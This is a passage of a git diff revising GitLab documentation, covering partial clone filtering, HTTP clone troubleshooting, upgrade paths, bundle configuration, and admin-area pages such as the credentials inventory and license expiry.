+[`git sparse-checkout`](https://git-scm.com/docs/git-sparse-checkout) to reduce the size of
+your working copy.
```plaintext
# Clone the repo excluding all files
@@ -108,21 +111,22 @@ For more details, see the Git documentation for
## Filter by file path
-WARNING:
-Partial Clone using `sparse` filters is experimental, slow, and
-significantly increases Gitaly resource utilization when cloning and fetching.
+Deeper integration between partial clone and sparse checkout is possible through the
+`--filter=sparse:oid=<blob-ish>` filter spec. This mode of filtering uses a format similar to a
+`.gitignore` file to specify which files to include when cloning and fetching.
-Deeper integration between Partial Clone and Sparse Checkout is being explored
-through the `--filter=sparse:oid=<blob-ish>` filter spec, but this is highly
-experimental. This mode of filtering uses a format similar to a `.gitignore`
-file to specify which files should be included when cloning and fetching.
+WARNING:
+Partial clone using `sparse` filters is still experimental. It might be slow and significantly increase
+[Gitaly](../../administration/gitaly/index.md) resource utilization when cloning and fetching.
+[Filter all blobs and use sparse-checkout](#filter-by-object-type) instead, because
+[`git-sparse-checkout`](https://git-scm.com/docs/git-sparse-checkout) simplifies
+this type of partial clone use and overcomes its limitations.
For more details, see the Git documentation for
-[`rev-list-options`](https://gitlab.com/gitlab-org/git/-/blob/9fadedd637b312089337d73c3ed8447e9f0aa775/Documentation/rev-list-options.txt#L735-780).
+[`rev-list-options`](https://git-scm.com/docs/git-rev-list#Documentation/git-rev-list.txt---filterltfilter-specgt).
-1. **Create a filter spec.** For example, consider a monolithic repository with
- many applications, each in a different subdirectory in the root. Create a file
- `shiny-app/.filterspec` using the GitLab web interface:
+1. Create a filter spec. For example, consider a monolithic repository with many applications,
+ each in a different subdirectory in the root. Create a file `shiny-app/.filterspec`:
```plaintext
# Only the paths listed in the file will be downloaded when performing a
@@ -142,28 +146,14 @@ For more details, see the Git documentation for
shared-component-b/
```
-1. **Create a new Git repository and fetch.** Support for `--filter=sparse:oid`
- using the clone command is incomplete, so we emulate the clone command
- by hand, using `git init` and `git fetch`. Follow
- [issue tracking support for `--filter=sparse:oid`](https://gitlab.com/gitlab-org/git/-/issues/4)
- for updates.
+1. Clone and filter by path. Support for `--filter=sparse:oid` using the
+ clone command is not yet fully integrated with sparse checkout.
```shell
- # Create a new directory for the Git repository
- mkdir jumbo-repo && cd jumbo-repo
-
- # Initialize a new Git repository
- git init
-
- # Add the remote
- git remote add origin <url>
-
- # Enable partial clone support for the remote
- git config --local extensions.partialClone origin
- # Fetch the filtered set of objects using the filterspec stored on the
- # server. WARNING: this step is slow!
- git fetch --filter=sparse:oid=master:shiny-app/.gitfilterspec origin
+ # Clone the filtered set of objects using the filterspec stored on the
+ # server. WARNING: this step may be very slow!
+ git clone --sparse --filter=sparse:oid=master:shiny-app/.gitfilterspec <url>
# Optional: observe there are missing objects that we have not fetched
git rev-list --all --quiet --objects --missing=print | wc -l
@@ -175,21 +165,6 @@ For more details, see the Git documentation for
entire repository. You many need to disable or reconfigure these
integrations.
-1. **Sparse checkout** must be enabled and configured to prevent objects from
- other paths being downloaded automatically when checking out branches. Follow
- [issue proposing automating sparse checkouts](https://gitlab.com/gitlab-org/git/-/issues/5) for updates.
-
- ```shell
- # Enable sparse checkout
- git config --local core.sparsecheckout true
-
- # Configure sparse checkout
- git show master:snazzy-app/.gitfilterspec >> .git/info/sparse-checkout
-
- # Checkout master
- git checkout master
- ```
-
## Remove partial clone filtering
Git repositories with partial clone filtering can have the filtering removed. To
diff --git a/doc/topics/git/tags.md b/doc/topics/git/tags.md
index 76e3cff3edc..70580ecf778 100644
--- a/doc/topics/git/tags.md
+++ b/doc/topics/git/tags.md
@@ -28,7 +28,7 @@ git checkout master
git tag my_lightweight_tag
# Annotated tag
-git tag -a v1.0 -m ‘Version 1.0’
+git tag -a v1.0 -m 'Version 1.0'
# Show list of the existing tags
git tag
diff --git a/doc/topics/git/troubleshooting_git.md b/doc/topics/git/troubleshooting_git.md
index be4903e2cb9..8db683f6291 100644
--- a/doc/topics/git/troubleshooting_git.md
+++ b/doc/topics/git/troubleshooting_git.md
@@ -47,15 +47,15 @@ errors can sometimes be caused by underlying issues with SSH (such as
authentication). Make sure that SSH is correctly configured by following the
instructions in the [SSH troubleshooting](../../ssh/README.md#troubleshooting-ssh-connections) documentation.
-If you're a GitLab administrator and have access to the server, you can also prevent
-session timeouts by configuring SSH `keep alive` either on the client or on the server.
+If you're a GitLab administrator with server access, you can also prevent
+session timeouts by configuring SSH `keep-alive` on the client or the server.
NOTE:
Configuring both the client and the server is unnecessary.
**To configure SSH on the client side**:
-- On UNIX, edit `~/.ssh/config` (create the file if it doesn’t exist) and
+- On UNIX, edit `~/.ssh/config` (create the file if it doesn't exist) and
add or edit:
```plaintext
@@ -153,7 +153,7 @@ and provide GitLab with more information on how to improve the service.
## `git clone` over HTTP fails with `transfer closed with outstanding read data remaining` error
-If the buffer size is lower than what is allowed in the request, the action fails with an error similar to the one below:
+Sometimes, when cloning old or large repositories, the following error is thrown:
```plaintext
error: RPC failed; curl 18 transfer closed with outstanding read data remaining
@@ -162,11 +162,59 @@ fatal: early EOF
fatal: index-pack failed
```
-This can be fixed by increasing the existing `http.postBuffer` value to one greater than the repository size. For example, if `git clone` fails when cloning a 500M repository, you should set `http.postBuffer` to `524288000`. That setting ensures the request only starts buffering after the first 524288000 bytes.
+This is a common problem with Git itself, due to its inability to handle large files or large quantities of files.
+[Git LFS](https://about.gitlab.com/blog/2017/01/30/getting-started-with-git-lfs-tutorial/) was created to work around this problem; however, even it has limitations. It's usually due to one of these reasons:
-NOTE:
-The default value of `http.postBuffer`, 1 MiB, is applied if the setting is not configured.
+- The number of files in the repository.
+- The number of revisions in the history.
+- The existence of large files in the repository.
-```shell
-git config http.postBuffer 524288000
-```
+The root causes vary, so multiple potential solutions exist, and you may need to
+apply more than one:
+
+- If this error occurs when cloning a large repository, you can
+ [decrease the cloning depth](../../ci/large_repositories/index.md#shallow-cloning)
+ to a value of `1`. For example:
+
+ ```shell
+ variables:
+ GIT_DEPTH: 1
+ ```
+
+- You can increase the
+ [http.postBuffer](https://git-scm.com/docs/git-config#Documentation/git-config.txt-httppostBuffer)
+ value in your local Git configuration from the default 1 MB value to a value greater
+ than the repository size. For example, if `git clone` fails when cloning a 500 MB
+ repository, you should set `http.postBuffer` to `524288000`:
+
+ ```shell
+ # Set the http.postBuffer size, in bytes
+ git config http.postBuffer 524288000
+ ```
+
+- You can increase the `http.postBuffer` on the server side:
+
+ 1. Modify the GitLab instance's
+ [`gitlab.rb`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/blob/13.5.1+ee.0/files/gitlab-config-template/gitlab.rb.template#L1435-1455) file:
+
+ ```shell
+ omnibus_gitconfig['system'] = {
+ # Set the http.postBuffer size, in bytes
+ "http" => ["postBuffer" => 524288000]
+ }
+ ```
+
+ 1. After applying this change, apply the configuration change:
+
+ ```shell
+ sudo gitlab-ctl reconfigure
+ ```
+
+For example, if a repository has a very long history and no large files, changing
+the depth should fix the problem. However, if a repository has very large files,
+even a depth of 1 may be too large, thus requiring the `postBuffer` change.
+If you increase your local `postBuffer` but the NGINX value on the backend is still
+too small, the error persists.
+
+Modifying the server is not always an option, and introduces more potential risk.
+Attempt local changes first.
diff --git a/doc/topics/git/useful_git_commands.md b/doc/topics/git/useful_git_commands.md
index 94279e521b6..38b44d97583 100644
--- a/doc/topics/git/useful_git_commands.md
+++ b/doc/topics/git/useful_git_commands.md
@@ -175,7 +175,7 @@ GIT_TRACE_PACKET=1 GIT_TRACE=2 GIT_CURL_VERBOSE=1 git clone <url>
Git includes a complete set of [traces for debugging Git commands](https://git-scm.com/book/en/v2/Git-Internals-Environment-Variables#_debugging), for example:
- `GIT_TRACE_PERFORMANCE=1`: enables tracing of performance data, showing how long each particular `git` invocation takes.
-- `GIT_TRACE_SETUP=1`: enables tracing of what `git` is discovering about the repository and environment it’s interacting with.
+- `GIT_TRACE_SETUP=1`: enables tracing of what `git` is discovering about the repository and environment it's interacting with.
- `GIT_TRACE_PACKET=1`: enables packet-level tracing for network operations.
## Rebasing
diff --git a/doc/university/training/user_training.md b/doc/university/training/user_training.md
index 75c4fe25842..e9cca233d6f 100644
--- a/doc/university/training/user_training.md
+++ b/doc/university/training/user_training.md
@@ -187,7 +187,7 @@ git push origin squash_some_bugs
## Merge requests
- When you want feedback create a merge request.
-- Target is the ‘default’ branch (usually master).
+- Target is the 'default' branch (usually master).
- Assign or mention the person you would like to review.
- Add `[Draft]` to the title if it's a work in progress.
- When accepting, always delete the branch.
@@ -260,7 +260,7 @@ git checkout master
git tag my_lightweight_tag
# Annotated tag
-git tag -a v1.0 -m ‘Version 1.0’
+git tag -a v1.0 -m 'Version 1.0'
git tag
git push origin --tags
diff --git a/doc/update/index.md b/doc/update/index.md
index 5c26ddb7ec6..71d1bd06ff0 100644
--- a/doc/update/index.md
+++ b/doc/update/index.md
@@ -4,7 +4,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Upgrading GitLab
+# Upgrading GitLab **(FREE SELF)**
Upgrading GitLab is a relatively straightforward process, but the complexity
can increase based on the installation method you have used, how old your
@@ -177,14 +177,14 @@ Find where your version sits in the upgrade path below, and upgrade GitLab
accordingly, while also consulting the
[version-specific upgrade instructions](#version-specific-upgrading-instructions):
-`8.11.Z` -> `8.12.0` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` - > [latest `13.Y.Z`](https://about.gitlab.com/releases/categories/releases/)
+`8.11.Z` -> `8.12.0` -> `8.17.7` -> `9.5.10` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> [latest `13.Y.Z`](https://about.gitlab.com/releases/categories/releases/)
The following table, while not exhaustive, shows some examples of the supported
upgrade paths.
| Target version | Your version | Supported upgrade path | Note |
| --------------------- | ------------ | ------------------------ | ---- |
-| `13.4.3` | `12.9.2` | `12.9.2` -> `12.10.14` -> `13.0.14` -> `13.4.3` | Two intermediate versions are required: the final `12.10` release, plus `13.0`. |
+| `13.5.4` | `12.9.2` | `12.9.2` -> `12.10.14` -> `13.0.14` -> `13.1.11` -> `13.5.4` | Three intermediate versions are required: the final `12.10` release, plus `13.0` and `13.1`. |
| `13.2.10` | `11.5.0` | `11.5.0` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` -> `13.0.14` -> `13.2.10` | Five intermediate versions are required: the final `11.11`, `12.0`, `12.1` and `12.10` releases, plus `13.0`. |
| `12.10.14` | `11.3.4` | `11.3.4` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.10.14` | Three intermediate versions are required: the final `11.11` and `12.0` releases, plus `12.1` |
| `12.9.5` | `10.4.5` | `10.4.5` -> `10.8.7` -> `11.11.8` -> `12.0.12` -> `12.1.17` -> `12.9.5` | Four intermediate versions are required: `10.8`, `11.11`, `12.0` and `12.1`, then `12.9.5` |
@@ -352,12 +352,21 @@ NOTE:
Specific information that follow related to Ruby and Git versions do not apply to [Omnibus installations](https://docs.gitlab.com/omnibus/)
and [Helm Chart deployments](https://docs.gitlab.com/charts/). They come with appropriate Ruby and Git versions and are not using system binaries for Ruby and Git. There is no need to install Ruby or Git when utilizing these two approaches.
+### 13.11.0
+
+Git 2.31.x and later is required. We recommend you use the
+[Git version provided by Gitaly](../install/installation.md#git).
+
### 13.6.0
Ruby 2.7.2 is required. GitLab will not start with Ruby 2.6.6 or older versions.
The required Git version is Git v2.29 or higher.
+### 13.4.0
+
+GitLab 13.4.0 includes a background migration to [move all remaining repositories in legacy storage to hashed storage](../administration/raketasks/storage.md#migrate-to-hashed-storage). There are [known issues with this migration](https://gitlab.com/gitlab-org/gitlab/-/issues/259605) which are fixed in GitLab 13.5.4 and later. If possible, skip 13.4.0 and upgrade to 13.5.4 or higher instead. Note that the migration can take quite a while to run, depending on how many repositories must be moved. Be sure to check that all background migrations have completed before upgrading further.
+
### 13.3.0
The recommended Git version is Git v2.28. The minimum required version of Git
@@ -401,7 +410,7 @@ fail for [multi-node GitLab installations](https://docs.gitlab.com/omnibus/updat
So, if you are using multiple Rails servers and specifically upgrading from 13.0,
all servers must first be upgraded to 13.1.Z before upgrading to 13.2.0 or later:
-1. Ensure all GitLab web nodes are on GitLab 13.1.Z.
+1. Ensure all GitLab web nodes are running GitLab 13.1.Z.
1. Optionally, enable the `global_csrf_token` feature flag to enable new
method of CSRF token generation:
diff --git a/doc/update/patch_versions.md b/doc/update/patch_versions.md
index b4c80c4f877..ce0ba46b518 100644
--- a/doc/update/patch_versions.md
+++ b/doc/update/patch_versions.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
comments: false
---
-# Universal update guide for patch versions of source installations
+# Universal update guide for patch versions of source installations **(FREE SELF)**
## Select Version to Install
@@ -43,7 +43,12 @@ sudo -u git -H git checkout LATEST_TAG -b LATEST_TAG
```shell
cd /home/git/gitlab
-sudo -u git -H bundle install --without development test mysql --deployment
+# If you haven't done so during installation or a previous upgrade already
+sudo -u git -H bundle config set --local deployment 'true'
+sudo -u git -H bundle config set --local without 'development test mysql aws kerberos'
+
+# Update gems
+sudo -u git -H bundle install
# Optional: clean up old gems
sudo -u git -H bundle clean
diff --git a/doc/update/restore_after_failure.md b/doc/update/restore_after_failure.md
index 64e92c802f2..0847fc82f19 100644
--- a/doc/update/restore_after_failure.md
+++ b/doc/update/restore_after_failure.md
@@ -4,7 +4,7 @@ group: Distribution
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Restoring from backup after a failed upgrade
+# Restoring from backup after a failed upgrade **(FREE SELF)**
Upgrades are usually smooth and restoring from backup is a rare occurrence.
However, it's important to know how to recover when problems do arise.
@@ -12,7 +12,8 @@ However, it's important to know how to recover when problems do arise.
## Roll back to an earlier version and restore a backup
In some cases after a failed upgrade, the fastest solution is to roll back to
-the previous version you were using.
+the previous version you were using. We recommend this path because the failed
+upgrade will likely have made database changes that can not be readily reverted.
First, roll back the code or package. For source installations this involves
checking out the older version (branch or tag). For Omnibus installations this
diff --git a/doc/update/upgrading_from_ce_to_ee.md b/doc/update/upgrading_from_ce_to_ee.md
index 71fd4efb16d..50d169917ba 100644
--- a/doc/update/upgrading_from_ce_to_ee.md
+++ b/doc/update/upgrading_from_ce_to_ee.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
comments: false
---
-# Upgrading from Community Edition to Enterprise Edition from source
+# Upgrading from Community Edition to Enterprise Edition from source **(FREE SELF)**
NOTE:
In the past we used separate documents for upgrading from
@@ -63,8 +63,11 @@ sudo -u git -H git checkout EE_BRANCH
```shell
cd /home/git/gitlab
-sudo -u git -H bundle config set deployment 'true'
-sudo -u git -H bundle config set without 'development test mysql aws kerberos'
+# If you haven't done so during installation or a previous upgrade already
+sudo -u git -H bundle config set --local deployment 'true'
+sudo -u git -H bundle config set --local without 'development test mysql aws kerberos'
+
+# Update gems
sudo -u git -H bundle install
# Optional: clean up old gems
diff --git a/doc/update/upgrading_from_source.md b/doc/update/upgrading_from_source.md
index 42acb7552e4..33ae9befd16 100644
--- a/doc/update/upgrading_from_source.md
+++ b/doc/update/upgrading_from_source.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
comments: false
---
-# Upgrading Community Edition and Enterprise Edition from source
+# Upgrading Community Edition and Enterprise Edition from source **(FREE SELF)**
NOTE:
Users wishing to upgrade to 12.0.0 must take some extra steps. See the
@@ -75,7 +75,7 @@ curl --remote-name --progress "https://cache.ruby-lang.org/pub/ruby/2.7/ruby-2.7
echo 'cb9731a17487e0ad84037490a6baf8bfa31a09e8 ruby-2.7.2.tar.gz' | shasum -c - && tar xzf ruby-2.7.2.tar.gz
cd ruby-2.7.2
-./configure --disable-install-rdoc
+./configure --disable-install-rdoc --enable-shared
make
sudo make install
```
@@ -269,8 +269,8 @@ sudo systemctl daemon-reload
cd /home/git/gitlab
# If you haven't done so during installation or a previous upgrade already
-sudo -u git -H bundle config set deployment 'true'
-sudo -u git -H bundle config set without 'development test mysql aws kerberos'
+sudo -u git -H bundle config set --local deployment 'true'
+sudo -u git -H bundle config set --local without 'development test mysql aws kerberos'
# Update gems
sudo -u git -H bundle install
diff --git a/doc/user/admin_area/abuse_reports.md b/doc/user/admin_area/abuse_reports.md
index 653c67ed197..85ad0667322 100644
--- a/doc/user/admin_area/abuse_reports.md
+++ b/doc/user/admin_area/abuse_reports.md
@@ -45,7 +45,7 @@ There are 3 ways to resolve an abuse report, with a button for each method:
The following is an example of the **Abuse Reports** page:
-![abuse-reports-page-image](img/abuse_reports_page.png)
+![abuse-reports-page-image](img/abuse_reports_page_v13_11.png)
### Blocking users
diff --git a/doc/user/admin_area/activating_deactivating_users.md b/doc/user/admin_area/activating_deactivating_users.md
index 1bca1751d2e..144ee2dbf98 100644
--- a/doc/user/admin_area/activating_deactivating_users.md
+++ b/doc/user/admin_area/activating_deactivating_users.md
@@ -66,4 +66,4 @@ Activating a user changes the user's state to active and consumes a
[seat](../../subscriptions/self_managed/index.md#billable-users).
NOTE:
-A deactivated user can also activate their account themselves by simply logging back in via the UI.
+A deactivated user can also activate their account themselves by logging back in via the UI.
diff --git a/doc/user/admin_area/credentials_inventory.md b/doc/user/admin_area/credentials_inventory.md
index 053cee82634..0ae6e41264c 100644
--- a/doc/user/admin_area/credentials_inventory.md
+++ b/doc/user/admin_area/credentials_inventory.md
@@ -11,8 +11,8 @@ type: howto
GitLab administrators are responsible for the overall security of their instance. To assist, GitLab provides a Credentials inventory to keep track of all the credentials that can be used to access their self-managed instance.
-Using Credentials inventory, you can see all the personal access tokens (PAT), SSH keys, and GPG keys
-that exist in your GitLab instance. In addition, you can [revoke](#revoke-a-users-personal-access-token)
+Using Credentials inventory, you can see all the personal access tokens (PAT), SSH keys, and GPG keys
+that exist in your GitLab instance. In addition, you can [revoke](#revoke-a-users-personal-access-token)
and [delete](#delete-a-users-ssh-key) and see:
- Who they belong to.
@@ -56,12 +56,16 @@ The instance then notifies the user.
## Review existing GPG keys
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/282429) in GitLab 13.10.
-> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-the-gpg-keys-view).
+> - [Deployed behind a feature flag](../feature_flags.md), disabled by default.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/292961) in GitLab 13.11.
+> - Enabled on GitLab.com.
+> - Recommended for production use.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-the-gpg-keys-view).
-You can view all existing GPG in your GitLab instance by navigating to the
+WARNING:
+This feature might not be available to you. Check the **version history** note above for details.
+
+You can view all existing GPG in your GitLab instance by navigating to the
credentials inventory GPG Keys tab, as well as the following properties:
- Who the GPG key belongs to.
@@ -72,10 +76,10 @@ credentials inventory GPG Keys tab, as well as the following properties:
### Enable or disable the GPG keys view
-Enabling or disabling the GPG keys view is under development and not ready for production use. It is
-deployed behind a feature flag that is **disabled by default**.
+Enabling or disabling the GPG keys view is under development but ready for production use.
+It is deployed behind a feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can enable it.
+can opt to disable it.
To enable it:
diff --git a/doc/user/admin_area/custom_project_templates.md b/doc/user/admin_area/custom_project_templates.md
index 26551d828bf..b4b33df37bf 100644
--- a/doc/user/admin_area/custom_project_templates.md
+++ b/doc/user/admin_area/custom_project_templates.md
@@ -16,7 +16,7 @@ Every project directly under the group namespace will be
available to the user if they have access to them. For example:
- Public projects, in the group will be available to every signed-in user, if all enabled [project features](../project/settings/index.md#sharing-and-permissions)
- are set to **Everyone With Access**.
+ except for GitLab Pages are set to **Everyone With Access**.
- Private projects will be available only if the user is a member of the project.
Repository and database information that are copied over to each new project are
diff --git a/doc/user/admin_area/geo_nodes.md b/doc/user/admin_area/geo_nodes.md
index f41170da975..e5132ef4e96 100644
--- a/doc/user/admin_area/geo_nodes.md
+++ b/doc/user/admin_area/geo_nodes.md
@@ -70,6 +70,12 @@ breaking communication between **primary** and **secondary** nodes when using
HTTPS, customize your Internal URL to point to a load balancer with TLS
terminated at the load balancer.
+WARNING:
+Starting with GitLab 13.3 and [until 13.11](https://gitlab.com/gitlab-org/gitlab/-/issues/325522),
+using an internal URL that is not accessible to the users will result in the
+OAuth authorization flow not working properly, as the users will get redirected
+to the internal URL instead of the external one.
+
## Multiple secondary nodes behind a load balancer
In GitLab 11.11, **secondary** nodes can use identical external URLs as long as
diff --git a/doc/user/admin_area/img/abuse_reports_page.png b/doc/user/admin_area/img/abuse_reports_page.png
deleted file mode 100644
index 30e932211cb..00000000000
--- a/doc/user/admin_area/img/abuse_reports_page.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/admin_area/img/abuse_reports_page_v13_11.png b/doc/user/admin_area/img/abuse_reports_page_v13_11.png
new file mode 100644
index 00000000000..bcb2aec9e64
--- /dev/null
+++ b/doc/user/admin_area/img/abuse_reports_page_v13_11.png
Binary files differ
diff --git a/doc/user/admin_area/img/admin_area_settings_button.png b/doc/user/admin_area/img/admin_area_settings_button.png
deleted file mode 100644
index 5b969ecd668..00000000000
--- a/doc/user/admin_area/img/admin_area_settings_button.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/admin_area/img/credentials_inventory_gpg_keys_v13_10.png b/doc/user/admin_area/img/credentials_inventory_gpg_keys_v13_10.png
index 2486332c477..a88d80a72b6 100644
--- a/doc/user/admin_area/img/credentials_inventory_gpg_keys_v13_10.png
+++ b/doc/user/admin_area/img/credentials_inventory_gpg_keys_v13_10.png
Binary files differ
diff --git a/doc/user/admin_area/img/credentials_inventory_v13_10.png b/doc/user/admin_area/img/credentials_inventory_v13_10.png
index e41bbf35a8e..2790ca70fba 100644
--- a/doc/user/admin_area/img/credentials_inventory_v13_10.png
+++ b/doc/user/admin_area/img/credentials_inventory_v13_10.png
Binary files differ
diff --git a/doc/user/admin_area/img/export_permissions_v13_11.png b/doc/user/admin_area/img/export_permissions_v13_11.png
new file mode 100644
index 00000000000..d9bbe8c3daf
--- /dev/null
+++ b/doc/user/admin_area/img/export_permissions_v13_11.png
Binary files differ
diff --git a/doc/user/admin_area/img/license_details_v13_8.png b/doc/user/admin_area/img/license_details_v13_8.png
deleted file mode 100644
index 00421d8a41d..00000000000
--- a/doc/user/admin_area/img/license_details_v13_8.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/admin_area/index.md b/doc/user/admin_area/index.md
index 6877148bd6d..08fcd4674dc 100644
--- a/doc/user/admin_area/index.md
+++ b/doc/user/admin_area/index.md
@@ -173,6 +173,8 @@ The following data is included in the export:
- Path
- Access level ([Project](../permissions.md#project-members-permissions) and [Group](../permissions.md#group-members-permissions))
+![user permission export button](img/export_permissions_v13_11.png)
+
#### Users statistics
The **Users statistics** page provides an overview of user accounts by role. These statistics are
diff --git a/doc/user/admin_area/license.md b/doc/user/admin_area/license.md
index 89417de4bab..85ff5f8e7b1 100644
--- a/doc/user/admin_area/license.md
+++ b/doc/user/admin_area/license.md
@@ -89,10 +89,7 @@ is active until the end of the license period. When that period ends, the
instance will [fall back](#what-happens-when-your-license-expires) to Free-only
functionality.
-You can review the license details at any time in the **License** section of the
-**Admin Area**.
-
-![License details](img/license_details_v13_8.png)
+You can review the license details at any time by going to **Admin Area > License**.
## Notification before the license expires
@@ -102,12 +99,15 @@ license, otherwise you miss all the paid features if your license expires.
## What happens when your license expires
-In case your license expires, GitLab locks down some features like Git pushes,
-and issue creation, and displays a message to all administrators to inform of the expired license.
+When your license expires, GitLab locks down features, like Git pushes
+and issue creation. Then, your instance becomes read-only and
+an expiration message is displayed to all administrators.
+
+For GitLab self-managed instances, you have a 14-day grace period
+before this occurs.
-To get back all the previous functionality, you must upload a new license.
-To fall back to having only the Free features active, you must delete the
-expired license(s).
+- To resume functionality, upload a new license.
+- To fall back to Free features, delete the expired license.
### Remove a license
diff --git a/doc/user/admin_area/merge_requests_approvals.md b/doc/user/admin_area/merge_requests_approvals.md
index d6ffde7be95..e8c435a2b5e 100644
--- a/doc/user/admin_area/merge_requests_approvals.md
+++ b/doc/user/admin_area/merge_requests_approvals.md
@@ -31,3 +31,5 @@ maintainers from allowing users to approve merge requests if they have submitted
any commits to the source branch.
- **Prevent users from modifying merge request approvers list**. Prevents users from
modifying the approvers list in project settings or in individual merge requests.
+
+Also read the [project level merge request approval rules](../project/merge_requests/merge_request_approvals.md), which are affected by instance level rules.
diff --git a/doc/user/admin_area/settings/continuous_integration.md b/doc/user/admin_area/settings/continuous_integration.md
index 3d19bde9a26..29b5bdd5e05 100644
--- a/doc/user/admin_area/settings/continuous_integration.md
+++ b/doc/user/admin_area/settings/continuous_integration.md
@@ -8,9 +8,8 @@ type: reference
# Continuous Integration and Deployment Admin settings **(FREE SELF)**
In this area, you will find settings for Auto DevOps, runners, and job artifacts.
-You can find it in the **Admin Area > Settings > CI/CD**.
-
-![Admin Area settings button](../img/admin_area_settings_button.png)
+You can find it in the [Admin Area](index.md) by navigating to
+**Admin Area > Settings > CI/CD**.
## Auto DevOps **(FREE SELF)**
diff --git a/doc/user/admin_area/settings/index.md b/doc/user/admin_area/settings/index.md
index cbdc617d7d9..60081f2e0bd 100644
--- a/doc/user/admin_area/settings/index.md
+++ b/doc/user/admin_area/settings/index.md
@@ -1,6 +1,6 @@
---
-stage: none
-group: unassigned
+stage: Create
+group: Source Code
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index
---
@@ -38,7 +38,7 @@ Access the default page for admin area settings by navigating to **Admin Area >
| [PlantUML](../../../administration/integration/plantuml.md) | Allow rendering of PlantUML diagrams in documents. |
| [Slack application](../../../user/project/integrations/gitlab_slack_application.md#configuration) **(FREE SAAS)** | Slack integration allows you to interact with GitLab via slash commands in a chat window. This option is only available on GitLab.com, though it may be [available for self-managed instances in the future](https://gitlab.com/gitlab-org/gitlab/-/issues/28164). |
| [Third party offers](third_party_offers.md) | Control the display of third party offers. |
-| [Snowplow](../../../development/snowplow.md) | Configure the Snowplow integration. |
+| [Snowplow](../../../development/snowplow/index.md) | Configure the Snowplow integration. |
| [Google GKE](../../project/clusters/add_gke_clusters.md) | Google GKE integration allows you to provision GKE clusters from GitLab. |
| [Amazon EKS](../../project/clusters/add_eks_clusters.md) | Amazon EKS integration allows you to provision EKS clusters from GitLab. |
@@ -46,7 +46,7 @@ Access the default page for admin area settings by navigating to **Admin Area >
| Option | Description |
| ------ | ----------- |
-| [Repository's custom initial branch name](../../project/repository/branches/index.md#custom-initial-branch-name) | Set a custom branch name rather than master for all the new repositories created within your instance. |
+| [Repository's custom initial branch name](../../project/repository/branches/default.md#instance-level-custom-initial-branch-name) | Set a custom branch name for new repositories created in your instance. |
| [Repository mirror](visibility_and_access_controls.md#allow-mirrors-to-be-set-up-for-projects) | Configure repository mirroring. |
| [Repository storage](../../../administration/repository_storage_types.md) | Configure storage path settings. |
| Repository maintenance | ([Repository checks](../../../administration/repository_checks.md) and [Housekeeping](../../../administration/housekeeping.md)). Configure automatic Git checks and housekeeping on repositories. |
diff --git a/doc/user/admin_area/settings/project_integration_management.md b/doc/user/admin_area/settings/project_integration_management.md
index 0b9f039880a..b152787b23f 100644
--- a/doc/user/admin_area/settings/project_integration_management.md
+++ b/doc/user/admin_area/settings/project_integration_management.md
@@ -40,7 +40,7 @@ If this is the first time you are setting up instance-level settings for an inte
When you make further changes to the instance defaults:
- They are immediately applied to all groups and projects that have the integration set to use default settings.
-- They are immediately applied to newer groups and projects, created since you last saved defaults for the
+- They are immediately applied to newer groups and projects, created after you last saved defaults for the
integration. If your instance-level default setting has the **Enable integration** toggle turned
on, the integration is automatically enabled for all such groups and projects.
- Groups and projects with custom settings selected for the integration are not immediately affected and may
@@ -82,7 +82,7 @@ When you make further changes to the group defaults:
- They are immediately applied to all subgroups and projects belonging to the group that have the integration
set to use default settings.
-- They are immediately applied to newer subgroups and projects, created since you last saved defaults for the
+- They are immediately applied to newer subgroups and projects, even those created after you last saved defaults for the
integration. If your group-level default setting has the **Enable integration** toggle turned on,
the integration is automatically enabled for all such subgroups and projects.
diff --git a/doc/user/admin_area/settings/rate_limit_on_issues_creation.md b/doc/user/admin_area/settings/rate_limit_on_issues_creation.md
index 30cc64ccaa0..3acfb636a13 100644
--- a/doc/user/admin_area/settings/rate_limit_on_issues_creation.md
+++ b/doc/user/admin_area/settings/rate_limit_on_issues_creation.md
@@ -5,7 +5,7 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Rate limits on issue creation
+# Rate limits on issue creation **(FREE SELF)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28129) in GitLab 12.10.
diff --git a/doc/user/admin_area/settings/rate_limit_on_notes_creation.md b/doc/user/admin_area/settings/rate_limit_on_notes_creation.md
index 54b5da35dac..1997e6b5149 100644
--- a/doc/user/admin_area/settings/rate_limit_on_notes_creation.md
+++ b/doc/user/admin_area/settings/rate_limit_on_notes_creation.md
@@ -5,7 +5,7 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Rate limits on note creation
+# Rate limits on note creation **(FREE SELF)**
